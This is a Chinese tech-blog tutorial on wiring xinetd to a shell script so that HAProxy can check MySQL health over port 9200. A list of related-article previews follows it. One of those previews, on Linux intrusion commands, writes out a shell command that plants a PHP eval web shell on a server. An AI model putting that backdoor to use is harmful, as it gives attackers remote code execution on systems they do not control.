Linux shell实现HTTP服务示例代码

一、前言

使用代理服务器 HAProxy 对 Mysql 做负载均衡是常用方案,为提高可用性,当某个 Mysql 出现问题时,例如服务器故障了,或者数据复制中断了,最好可以让 HAProxy 马上知道,然后停止向其转发请求

HAProxy 如何知道 Mysql 是否有问题呢?

二、解决思路

(1)编写一个shell脚本,检查 mysql 的状态,然后输出结果,例如状态正常时,返回状态码200及正确信息,否则返回状态码503及错误信息

(2)实现一个HTTP服务,有请求连接后,调用上面的检查脚本,返回检查结果

(3)HAProxy 访问这个HTTP服务,根据返回的结果信息来判断这个 mysql 是否可用

如何方便快速的实现一个可以调用shell脚本的HTTP服务呢?

比较通用的方案就是 xinetd

xinetd 是 Linux 的守护进程,全称为 extended interent daemon,扩展的网络守护进程

xinetd 可以打开一个端口,等待连接,你可以告诉 xinetd 运行哪个脚本,当有连接进来后,xinetd 便会执行脚本,然后直接返回脚本输出的内容

HAProxy -> xinetd -> mysql-check脚本,HAProxy 便取得了mysql的状态信息

xinetd 的配置案例

下面实现一个简单的 xinetd 示例,开放 9200 端口,返回一个测试脚本的输出内容

如果机器上还没有 xinetd,先安装一下,centos7 下可以使用命令 yum install xinetd

(1)测试脚本

#!/bin/bash

echo `uptime | egrep -o 'up ([0-9]+) days' | awk '{print $2}'`

这个脚本用来输出当前服务器的在线天数

chmod +x 给脚本添加可执行权限

(2)编写 xinetd 服务

例如服务名为 helloworld,文件名 /etc/xinetd.d/helloworld,内容为

service helloworld

{

disable = no

port  = 9200

socket_type   = stream

protocol    = tcp

wait      = no

user      = root

server     = /root/test.sh

server_args   = test

}

port 指定监听的端口

server 指定要执行的脚本

(3)加入服务列表

修改 /etc/services

找到定义 9200 端口的位置,注释掉原有的,添加 helloworld 服务

helloworld   9200/tcp

#wap-wsp     9200/tcp

#wap-wsp     9200/udp

(4)重启 xinetd

centos 下的重启命令为:

systemctl restart xinetd.service

(5)测试

分别用 nc telnet 两个命令测试一下

nc localhost 9200

telnet localhost 9200

可以正确输出脚本执行内容,完成示例

总结

Linux shell实现HTTP服务的内容到这就基本结束了,希望对大家的工作和学习能有所帮助,如果有疑问可以留言讨论。

(0)

相关推荐

  • Linux下模拟http的get/post请求(curl or wget)详解

    Linux下模拟http的get/post请求(curl or wget)详解 背景 最近项目中需要测试接口,但是测试服务器通过堡垒机才能访问,暂时又没有通过Nginx进行转发,只好直接在Linux上模拟http请求进行测试. 方法 get请求 curl "http://www.baidu.com" 如果URL指向的是一个文件或者一幅图可以直接下载到本地 curl -i "http://www.baidu.com" 显示全部信息 curl -l "http

  • Linux下nginx配置https协议访问的方法

    一.配置nginx支持https协议访问,需要在编译安装nginx的时候添加相应的模块--with-http_ssl_module 查看nginx编译参数:/usr/local/nginx/sbin/nginx -V 如下所示: configure arguments: --prefix=/usr/local/nginx --with-google_perftools_module --without-http_memcached_module --user=www --group=www --

  • 详解阿里云LINUX服务器配置HTTPS(NGINX)

    背景说明 服务器为阿里云 ECS,操作系统为 CentOS 6.5. 部署配置说明 第一步,安装nginx 之所以要先安装 nginx,是因为下面配置域名解析的时候可以直接在浏览器看到效果,当然了,先配置域名,然后 ping 一下也是可以的 下载Nginx源码包,解压源码包,进入解压后的目录,编译配置,命令如下: ./configure --prefix=/usr/local/nginx --with-http_ssl_module 以上命令将nginx安装到usr/local/nginx目录下

  • Linux下Web性能压力测试工具http_load使用教程

    http_load介绍: http_load基于linux平台的一种性能测工具.以并行复用的方式运行,用以测试web服务器的吞吐量与负载,测试web页面的性能. 下载及安装: wget http://www.acme.com/software/http_load/http_load-12mar2006.tar.gz tar xzvf http_load-12mar2006.tar.gz cd http_load-12mar2006/ make && make install http_lo

  • PHP程序员玩转Linux系列 Nginx中的HTTPS详解

    PHP程序员玩转Linux系列文章: 1.PHP程序员玩转Linux系列-怎么安装使用CentOS 2.PHP程序员玩转Linux系列-lnmp环境的搭建 3.PHP程序员玩转Linux系列-搭建FTP代码开发环境 4.PHP程序员玩转Linux系列-备份还原MySQL 5.PHP程序员玩转Linux系列-自动备份与SVN 6.PHP程序员玩转Linux系列-Linux和Windows安装nginx 7.PHP程序员玩转Linux系列-nginx初学者引导 创建一个HTTPS服务器 在nginx

  • Linux服务器nginx访问日志里出现大量http 400错误的请求分析

    服务器中的错误记录类似于这种: 124.65.133.242 – – [27/Oct/2014:14:30:51 +0800] "-" 400 0 "-" "-" 124.65.133.242 – – [27/Oct/2014:14:31:45 +0800] "-" 400 0 "-" "-" 124.65.133.242 – – [27/Oct/2014:14:31:45 +0800]

  • Linux下SVN服务器同时支持Apache的http和svnserve独立服务器两种模式且使用相同的访问权限账号

    说明: 服务器操作系统:CentOS 6.x 服务器IP:192.168.21.134 实现目的: 1.在服务器上安装配置SVN服务: 2.配置SVN服务同时支持Apache的http和svnserve独立服务器两种模式访问: 3.Apache的http和svnserve独立服务器两种模式使用相同的访问权限账号. 具体操作: 一.关闭SELINUX vi /etc/selinux/config #SELINUX=enforcing #注释掉 #SELINUXTYPE=targeted #注释掉

  • Linux shell实现HTTP服务示例代码

    一.前言 使用代理服务器 HAProxy 对 Mysql 做负载均衡是常用方案,为提高可用性,当某个 Mysql 出现问题时,例如服务器故障了,或者数据复制中断了,最好可以让 HAProxy 马上知道,然后停止向其转发请求 HAProxy 如何知道 Mysql 是否有问题呢? 二.解决思路 (1)编写一个shell脚本,检查 mysql 的状态,然后输出结果,例如状态正常时,返回状态码200及正确信息,否则返回状态码503及错误信息 (2)实现一个HTTP服务,有请求连接后,调用上面的检查脚本,

  • AngularJS 的$timeout服务示例代码

    废话不多说了,直接给大家贴代码了,具体代码如下所示: <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script type="text/javascript" src="../js/angular.js" ></script> <script> v

  • Linux shell select菜单选择实现代码

    假设需要在shell下实现一个菜单,估计会使用 循环和read实现交互,在学习中发现一个select可在shell下很方便的实现这种交互菜单 1. select 语法 select var in ... do #your code done 2. 示例 #! /bin/bash echo "what is your favorite color :" select color in "red" "blue" "green" &

  • windows下直接点击startup.bat启动tomcat服务示例代码

    在XP上明明已经安装了JDK1.5并设置好了JAVA_HOME,可偏偏Tomcat在启动过程中找不到. 报错信息如下:Neither the JAVA_HOME nor the JRE_HOME environment variable is defined At least one of these environment variable is needed to run this program;提示找不到java_home各jre_home路径,何解? 原因不知道了,下面来看解决办法:

  • Linux入侵常用命令之防黑客示例代码

    前言 linux权限多设的比较松的其实,但有的虚拟机还是不能跨目录访问的.在提不了权的情况下,试试如下代码吧.运气好的话说不定就跨过去了.下面话不多说了,来一起看看详细的介绍吧. 写个php一句话后门上去: [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankup

  • 实战基本的Linux sed命令示例代码

    Linux流编辑器是在数据中心中运行脚本的一种有用方法.通过这些命令示例,您可以开始熟悉sed. 想要修改文件而不覆盖原始文件的Linux管理员有很多选择,但最有效的工具之一是流编辑器 - sed. 流编辑器是大多数Linux发行版的默认部分.它使您能够使用Linux sed命令在操作系统中执行文本文件操作. 与大多数Linux应用程序一样,sed可以处理管道输入,这使它成为一种有效的脚本工具.您可以将其用作基本的查找和替换工具,如下面的示例命令所示,该命令查找出现的一个实例,并将其替换为两个实

  • Linux Shell 生成随机数和随机字符串的方法示例

    日常生活中,会经常用到随机数,使用场景非常广泛,例如买彩票.丢骰子.抽签.年会抽奖等. Shell 下如何生成随机数呢,米扑博客特意写了本文,总结 Linux Shell 产生随机数的多种方法. 计算机产生的的只是"伪随机数",不会产生绝对的随机数(是一种理想随机数).实际上,伪随机数和理想随机数也是相对的概念,例如伪随机数在1万万亿亿亿年内也无法重复,算是理想随机数么? 伪随机数在大量重现时也并不一定保持唯一,但一个好的伪随机产生算法将可以产生一个非常长的不重复的序列,例如 UUID

  • linux 使用bond实现双网卡绑定单个IP的示例代码

    双网卡绑定单个IP 地址 为了提供网络的高可用性,我们可能需要将多块网卡绑定成一块虚拟网卡对外提供服务,这样即使其中的一块物理网卡出现故障,也不会导致连接中断. bond在Linux下叫bonding,IBM称为etherchanel,broadcom叫team,但是名字怎么变,效果都是将两块或更多的网卡当做一块网卡使用,在增加带宽的同时也可以提高冗余性. 实现双网卡绑定的方法有两种: bond和team 这里先记下bond的绑定方法 bond支持的模式 共支持bond[0-6]共七种模式,常用

  • C++编写的WebSocket服务端客户端实现示例代码

    目录 使用过标准的libwebsockets服务端库测试过,主要是短小精悍,相对于libwebsockets不需要依赖zlib和openssl 以及其他库,直接make就可以使用了,linux跟windows都可以使用. 测试用例: #include "easywsclient.hpp" #include <assert.h> #include <stdio.h> #include <string> using easywsclient::WebSo

  • Docker安装jenkins实现微服务多模块打包的示例代码

    目录 1.安装 2.初始化 3.配置jenkins 3.1 安装Maven 3.2 配置Maven插件 3.3 安装svn插件 4. 创建自动化部署任务 4.1 配置清理旧的构建 4.2 创建svn账密凭证 4.3 填写build命令 4.4 首次构建 5. 配置maven运行命令及shell脚本 5.1 maven父子项目依赖指令配置 5.2打包完成之后shell命令 废话不多说,直接讲正事 1.安装 # 1.pull jenkins(若使用jdk11则可pull最新版jenkins,否则最新

随机推荐